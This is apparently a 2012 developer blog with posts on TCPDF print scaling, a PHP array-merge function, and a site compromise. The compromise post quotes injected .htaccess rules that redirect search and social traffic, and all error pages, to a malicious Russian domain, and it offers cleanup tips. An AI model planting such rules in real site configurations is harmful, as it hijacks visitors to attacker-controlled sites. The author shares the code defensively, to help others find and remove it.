Thursday, September 6, 2012

TCPDF PrintScaling

Today while using the TCPDF PHP class to generate Avery 5267 labels I discovered that when I went to go print, Page Scaling was automatically set to "Fit to printable area" and I needed to have it as "None". After about 20 minutes of poking around forums I finally found something that led me to the TCPDF::setViewerPreferences() method and the PrintScaling preference. I decided the cleanest way to achieve this was to write a new method.

If you are extending TCPDF this is going to be pretty easy, do something like

<?php
class PDF extends TCPDF {
    
    ...

    /**
     * @author Brian Wendt (http://ontodevelopment.blogspot.com/)
     * @link http://www.tcpdf.org/doc/classTCPDF.html#ad09b32089f8e68c9d8424a2777627c21
     * @param string $preference key of preference 
     * @param mixed $value
     */
    function setViewerPreference($preference, $value){
        $this->viewer_preferences[$preference] = $value;
    }
} 

Use

$pdf->setViewerPreference('PrintScaling', 'None');

Otherwise, you'll need to be modifying the TCPDF class directly to do this cleanly.
Add the setViewerPreference() method from above to the TCPDF class. If you aren't extending and you aren't interested in changing the TCPDF class, then you'd simply use TCPDF::setViewerPreferences() like below but it has drawbacks.

$pdf->setViewerPreferences(array(
    'PrintScaling' => 'None'
));

(Note: using TCPFD::setViewerPreferences() overwrites other preferences you've set which is why I suggest creating the setViewerPreference() method)

TCPDF (©Nicola Asuni) is a powerful PHP class to generate PDF documents.

Wednesday, July 4, 2012

Sites Hacked? .htaccess files were code injected

(Previous Title: "Inmotion Hosting Hacked?")
At 7/3/2012 11:25:22 PM, my existing .htaccess files were injected with the following:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://2012medis.ru/cocumber?4 [R=301,L]
</IfModule>
and
ErrorDocument 400 http://2012medis.ru/cocumber?4
ErrorDocument 401 http://2012medis.ru/cocumber?4
ErrorDocument 403 http://2012medis.ru/cocumber?4
ErrorDocument 404 http://2012medis.ru/cocumber?4
ErrorDocument 500 http://2012medis.ru/cocumber?4
I corrected the problem by removing the injected code from my existing files and deleting the one's that were added which I identified quickly as being 1.57 KB (1,608 bytes)

-UPDATE-
It may be related to a file called ".cache_000.php" injected via a vulnerability with Wordpress. Look in your /wp-content/uploads/ directory for .cache_000.php
For me the file had the same timestamp as some of the .htaccess files did.

-UPDATE-
I updated my title to un-point the finger at Inmotion Hosting... the problem does appear to be fixed since I deleted that file and updated Wordpress.

-UPDATE-  
Update Wordpress or make the .cache_000.php file not accessible

Tuesday, May 22, 2012

PHP Merge Multidimensional Arrays

function md_array_merge(){
    $arrays = func_get_args();
    $return = array();
    foreach($arrays as $array){
        foreach($array as $key=>$val){
            if(is_array($val) && isset($return[$key])){
                $return[$key] = md_array_merge($return[$key], $val);
            } else {
                $return[$key] = $val;
            }
        }
    }
    return $return;
}

I wrote the above function to merge 2 or more multidimensional arrays. Use is similar to array_merge().

Provided with Open Source license without warranty